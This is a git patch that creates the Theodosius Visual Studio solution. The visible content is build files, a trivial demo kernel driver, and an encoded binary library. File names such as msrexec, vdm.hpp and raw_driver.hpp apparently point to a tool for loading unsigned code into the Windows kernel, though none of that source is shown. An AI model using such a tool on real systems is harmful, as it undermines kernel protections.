From 2106099c68a76a55f5a247907c3b346e918e7ee3 Mon Sep 17 00:00:00 2001 From: _xeroxz Date: Thu, 4 Mar 2021 15:49:10 -0800 Subject: [PATCH] init commit --- DemoDrv/DemoDrv.vcxproj | 98 + DemoDrv/DemoDrv.vcxproj.filters | 17 + DemoDrv/DemoDrv.vcxproj.user | 4 + DemoDrv/DriverEntry.c | 8 + Theodosius.sln | 33 + Theodosius/Theodosius.vcxproj | 157 + Theodosius/Theodosius.vcxproj.filters | 208 + Theodosius/Theodosius.vcxproj.user | 11 + Theodosius/Zycore.lib | Bin 0 -> 262406 bytes Theodosius/Zycore/API/Memory.h | 134 + Theodosius/Zycore/API/Process.h | 67 + Theodosius/Zycore/API/Synchronization.h | 133 + Theodosius/Zycore/API/Terminal.h | 163 + Theodosius/Zycore/API/Thread.h | 244 + Theodosius/Zycore/Allocator.h | 143 + Theodosius/Zycore/ArgParse.h | 173 + Theodosius/Zycore/Bitset.h | 484 + Theodosius/Zycore/Comparison.h | 316 + Theodosius/Zycore/Defines.h | 443 + Theodosius/Zycore/Format.h | 286 + Theodosius/Zycore/LibC.h | 511 + Theodosius/Zycore/List.h | 574 + Theodosius/Zycore/Object.h | 84 + Theodosius/Zycore/Status.h | 287 + Theodosius/Zycore/String.h | 1012 + Theodosius/Zycore/Types.h | 195 + Theodosius/Zycore/Vector.h | 723 + Theodosius/Zycore/Zycore.h | 111 + Theodosius/ZycoreExportConfig.h | 42 + Theodosius/Zydis.lib | Bin 0 -> 1344336 bytes Theodosius/Zydis/Decoder.h | 237 + Theodosius/Zydis/DecoderTypes.h | 1528 ++ Theodosius/Zydis/Formatter.h | 1179 + Theodosius/Zydis/FormatterBuffer.h | 306 + Theodosius/Zydis/Generated/EnumISAExt.h | 98 + Theodosius/Zydis/Generated/EnumISASet.h | 184 + .../Zydis/Generated/EnumInstructionCategory.h | 117 + Theodosius/Zydis/Generated/EnumMnemonic.h | 1643 ++ Theodosius/Zydis/Generated/EnumRegister.h | 301 + Theodosius/Zydis/Internal/DecoderData.h | 331 + Theodosius/Zydis/Internal/FormatterATT.h | 178 + Theodosius/Zydis/Internal/FormatterBase.h | 318 + Theodosius/Zydis/Internal/FormatterIntel.h | 267 + Theodosius/Zydis/Internal/SharedData.h | 974 + Theodosius/Zydis/Internal/String.h | 464 + Theodosius/Zydis/MetaInfo.h | 88 + Theodosius/Zydis/Mnemonic.h | 88 + Theodosius/Zydis/Register.h | 293 + Theodosius/Zydis/SharedTypes.h | 480 + Theodosius/Zydis/ShortString.h | 90 + Theodosius/Zydis/Status.h | 159 + Theodosius/Zydis/Utils.h | 275 + Theodosius/Zydis/Zydis.h | 169 + Theodosius/ZydisExportConfig.h | 42 + Theodosius/hmdm_ctx.cpp | 106 + Theodosius/hmdm_ctx.h | 33 + Theodosius/ia32.hpp | 21527 ++++++++++++++++ Theodosius/linker/linker.cpp | 197 + Theodosius/linker/linker.hpp | 63 + Theodosius/loadup.hpp | 263 + Theodosius/main.cpp | 98 + Theodosius/msrexec.cpp | 208 + Theodosius/msrexec.hpp | 43 + Theodosius/raw_driver.hpp | 1730 ++ Theodosius/syscall_handler.asm | 90 + Theodosius/syscall_handler.h | 14 + Theodosius/utils.hpp | 414 + Theodosius/vdm.hpp | 66 + 68 files changed, 41322 insertions(+) create mode 100644 DemoDrv/DemoDrv.vcxproj create mode 100644 DemoDrv/DemoDrv.vcxproj.filters create mode 100644 DemoDrv/DemoDrv.vcxproj.user create mode 100644 DemoDrv/DriverEntry.c create mode 100644 Theodosius.sln create mode 100644 Theodosius/Theodosius.vcxproj create mode 100644 Theodosius/Theodosius.vcxproj.filters create mode 100644 Theodosius/Theodosius.vcxproj.user create mode 100644 Theodosius/Zycore.lib create mode 100644 Theodosius/Zycore/API/Memory.h create mode 100644 Theodosius/Zycore/API/Process.h create mode 100644 Theodosius/Zycore/API/Synchronization.h create mode 100644 Theodosius/Zycore/API/Terminal.h create mode 100644 Theodosius/Zycore/API/Thread.h create mode 100644 Theodosius/Zycore/Allocator.h create mode 100644 Theodosius/Zycore/ArgParse.h create mode 100644 Theodosius/Zycore/Bitset.h create mode 100644 Theodosius/Zycore/Comparison.h create mode 100644 Theodosius/Zycore/Defines.h create mode 100644 Theodosius/Zycore/Format.h create mode 100644 Theodosius/Zycore/LibC.h create mode 100644 Theodosius/Zycore/List.h create mode 100644 Theodosius/Zycore/Object.h create mode 100644 Theodosius/Zycore/Status.h create mode 100644 Theodosius/Zycore/String.h create mode 100644 Theodosius/Zycore/Types.h create mode 100644 Theodosius/Zycore/Vector.h create mode 100644 Theodosius/Zycore/Zycore.h create mode 100644 Theodosius/ZycoreExportConfig.h create mode 100644 Theodosius/Zydis.lib create mode 100644 Theodosius/Zydis/Decoder.h create mode 100644 Theodosius/Zydis/DecoderTypes.h create mode 100644 Theodosius/Zydis/Formatter.h create mode 100644 Theodosius/Zydis/FormatterBuffer.h create mode 100644 Theodosius/Zydis/Generated/EnumISAExt.h create mode 100644 Theodosius/Zydis/Generated/EnumISASet.h create mode 100644 Theodosius/Zydis/Generated/EnumInstructionCategory.h create mode 100644 Theodosius/Zydis/Generated/EnumMnemonic.h create mode 100644 Theodosius/Zydis/Generated/EnumRegister.h create mode 100644 Theodosius/Zydis/Internal/DecoderData.h create mode 100644 Theodosius/Zydis/Internal/FormatterATT.h create mode 100644 Theodosius/Zydis/Internal/FormatterBase.h create mode 100644 Theodosius/Zydis/Internal/FormatterIntel.h create mode 100644 Theodosius/Zydis/Internal/SharedData.h create mode 100644 Theodosius/Zydis/Internal/String.h create mode 100644 Theodosius/Zydis/MetaInfo.h create mode 100644 Theodosius/Zydis/Mnemonic.h create mode 100644 Theodosius/Zydis/Register.h create mode 100644 Theodosius/Zydis/SharedTypes.h create mode 100644 Theodosius/Zydis/ShortString.h create mode 100644 Theodosius/Zydis/Status.h create mode 100644 Theodosius/Zydis/Utils.h create mode 100644 Theodosius/Zydis/Zydis.h create mode 100644 Theodosius/ZydisExportConfig.h create mode 100644 Theodosius/hmdm_ctx.cpp create mode 100644 Theodosius/hmdm_ctx.h create mode 100644 Theodosius/ia32.hpp create mode 100644 Theodosius/linker/linker.cpp create mode 100644 Theodosius/linker/linker.hpp create mode 100644 Theodosius/loadup.hpp create mode 100644 Theodosius/main.cpp create mode 100644 Theodosius/msrexec.cpp create mode 100644 Theodosius/msrexec.hpp create mode 100644 Theodosius/raw_driver.hpp create mode 100644 Theodosius/syscall_handler.asm create mode 100644 Theodosius/syscall_handler.h create mode 100644 Theodosius/utils.hpp create mode 100644 Theodosius/vdm.hpp diff --git a/DemoDrv/DemoDrv.vcxproj b/DemoDrv/DemoDrv.vcxproj new file mode 100644 index 0000000..2a8fca4 --- /dev/null +++ b/DemoDrv/DemoDrv.vcxproj @@ -0,0 +1,98 @@ + + + + + Debug + x64 + + + Release + x64 + + + + {A9959D7F-E405-4380-A1B4-4CE8DD929397} + {1bc93793-694f-48fe-9372-81e2b05556fd} + v4.5 + 12.0 + Debug + Win32 + DemoDrv + 10.0 + + + + Windows10 + true + ClangCL + DynamicLibrary + KMDF + Universal + false + + + Windows10 + false + ClangCL + DynamicLibrary + KMDF + Universal + false + + + + + + + + + + + DbgengKernelDebugger + false + + + DbgengKernelDebugger + false + + + + stdcpp17 + false + false + false + -mcmodel=large -c %(AdditionalOptions) + false + + + DriverEntry + + + + + stdcpp17 + false + Disabled + false + false + -mcmodel=large %(AdditionalOptions) + Async + true + false + Default + Default + + + DriverEntry + + + + + + + + + + + + \ No newline at end of file diff --git a/DemoDrv/DemoDrv.vcxproj.filters b/DemoDrv/DemoDrv.vcxproj.filters new file mode 100644 index 0000000..309d408 --- /dev/null +++ b/DemoDrv/DemoDrv.vcxproj.filters @@ -0,0 +1,17 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {6ad835cd-061a-454e-b69a-e064070a3bc2} + + + + + Source Files + + + \ No newline at end of file diff --git a/DemoDrv/DemoDrv.vcxproj.user b/DemoDrv/DemoDrv.vcxproj.user new file mode 100644 index 0000000..88a5509 --- /dev/null +++ b/DemoDrv/DemoDrv.vcxproj.user @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/DemoDrv/DriverEntry.c b/DemoDrv/DriverEntry.c new file mode 100644 index 0000000..ea41864 --- /dev/null +++ b/DemoDrv/DriverEntry.c @@ -0,0 +1,8 @@ +#include +#define ObfiscateRoutine __declspec(code_seg(".theo")) +unsigned long DbgPrint(const char* format, ...); + +int drv_entry() +{ + DbgPrint("> hello world! this is a demo!\n"); +} \ No newline at end of file diff --git a/Theodosius.sln b/Theodosius.sln new file mode 100644 index 0000000..eea2810 --- /dev/null +++ b/Theodosius.sln @@ -0,0 +1,33 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.30907.101 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Theodosius", "Theodosius\Theodosius.vcxproj", "{B3A57EE2-364D-42FA-A827-33F43136B549}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "DemoDrv", "DemoDrv\DemoDrv.vcxproj", "{A9959D7F-E405-4380-A1B4-4CE8DD929397}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Release|x64 = Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {B3A57EE2-364D-42FA-A827-33F43136B549}.Debug|x64.ActiveCfg = Debug|x64 + {B3A57EE2-364D-42FA-A827-33F43136B549}.Debug|x64.Build.0 = Debug|x64 + {B3A57EE2-364D-42FA-A827-33F43136B549}.Release|x64.ActiveCfg = Release|x64 + {B3A57EE2-364D-42FA-A827-33F43136B549}.Release|x64.Build.0 = Release|x64 + {A9959D7F-E405-4380-A1B4-4CE8DD929397}.Debug|x64.ActiveCfg = Debug|x64 + {A9959D7F-E405-4380-A1B4-4CE8DD929397}.Debug|x64.Build.0 = Debug|x64 + {A9959D7F-E405-4380-A1B4-4CE8DD929397}.Debug|x64.Deploy.0 = Debug|x64 + {A9959D7F-E405-4380-A1B4-4CE8DD929397}.Release|x64.ActiveCfg = Release|x64 + {A9959D7F-E405-4380-A1B4-4CE8DD929397}.Release|x64.Build.0 = Release|x64 + {A9959D7F-E405-4380-A1B4-4CE8DD929397}.Release|x64.Deploy.0 = Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {F162AC8C-7E8E-4B3E-881E-D551E80764BB} + EndGlobalSection +EndGlobal diff --git a/Theodosius/Theodosius.vcxproj b/Theodosius/Theodosius.vcxproj new file mode 100644 index 0000000..deffcd7 --- /dev/null +++ b/Theodosius/Theodosius.vcxproj @@ -0,0 +1,157 @@ + + + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {b3a57ee2-364d-42fa-a827-33f43136b549} + Theodosius + 10.0 + + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + + + + + + + + + + + + + + true + $(ProjectDir);$(IncludePath) + + + false + $(ProjectDir);$(IncludePath) + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions);ZYAN_NO_LIBC;ZYDIS_NO_LIBC;ZYCORE_STATIC_DEFINE;ZYDIS_STATIC_DEFINE;_CRT_SECURE_NO_WARNINGS + true + stdcpp17 + + + Console + true + Zydis.lib;Zycore.lib;%(AdditionalDependencies) + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions);ZYAN_NO_LIBC;ZYDIS_NO_LIBC;ZYCORE_STATIC_DEFINE;ZYDIS_STATIC_DEFINE;_CRT_SECURE_NO_WARNINGS + true + stdcpp17 + + + Console + true + true + true + Zydis.lib;Zycore.lib;%(AdditionalDependencies) + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Document + + + + + + + \ No newline at end of file diff --git a/Theodosius/Theodosius.vcxproj.filters b/Theodosius/Theodosius.vcxproj.filters new file mode 100644 index 0000000..1c2f283 --- /dev/null +++ b/Theodosius/Theodosius.vcxproj.filters @@ -0,0 +1,208 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {8d07ce7e-3b56-4b27-bb05-d12987f22384} + + + {77c3f715-9d9f-488e-a1d5-542124a490b0} + + + {c89c1fbb-39b5-4954-9774-0c2600773705} + + + {db8b5110-ec16-4fc2-80cc-7241ccbfec1c} + + + {c51e3b93-1496-49d7-838f-825d75b29ee6} + + + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + + + Header Files\Zydis\Generated + + + Header Files\Zydis\Generated + + + Header Files\Zydis\Generated + + + Header Files\Zydis\Generated + + + Header Files\Zydis\Generated + + + Header Files\Zydis\Internal + + + Header Files\Zydis\Internal + + + Header Files\Zydis\Internal + + + Header Files\Zydis\Internal + + + Header Files\Zydis\Internal + + + Header Files\Zydis\Internal + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files\Zydis + + + Header Files\Zydis + + + Header Files\Zydis + + + Header Files\Zydis + + + Header Files\Zydis + + + Header Files\Zydis + + + Header Files\Zydis + + + Header Files\Zydis + + + Header Files\Zydis + + + Header Files\Zydis + + + Header Files\Zydis + + + Header Files\Zydis + + + Header Files\Zycore + + + Header Files\Zycore + + + Header Files\Zycore + + + Header Files\Zycore + + + Header Files\Zycore + + + Header Files\Zycore + + + Header Files\Zycore + + + Header Files\Zycore + + + Header Files\Zycore + + + Header Files\Zycore + + + Header Files\Zycore + + + Header Files\Zycore + + + Header Files\Zycore + + + Header Files\Zycore + + + Header Files\Zycore\API + + + Header Files\Zycore\API + + + Header Files\Zycore\API + + + Header Files\Zycore\API + + + Header Files\Zycore\API + + + Header Files\Zydis + + + Header Files\Zycore + + + Header Files + + + Header Files + + + + + Source Files + + + \ No newline at end of file diff --git a/Theodosius/Theodosius.vcxproj.user b/Theodosius/Theodosius.vcxproj.user new file mode 100644 index 0000000..fdef912 --- /dev/null +++ b/Theodosius/Theodosius.vcxproj.user @@ -0,0 +1,11 @@ + + + + C:\Users\_xeroxz\Desktop\drv + WindowsLocalDebugger + + + C:\Users\_xeroxz\Desktop\drv + WindowsLocalDebugger + + \ No newline at end of file diff --git a/Theodosius/Zycore.lib b/Theodosius/Zycore.lib new file mode 100644 index 0000000000000000000000000000000000000000..b36a9382ce0ab14f7b109449de8363d3b054a564 GIT binary patch literal 262406 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 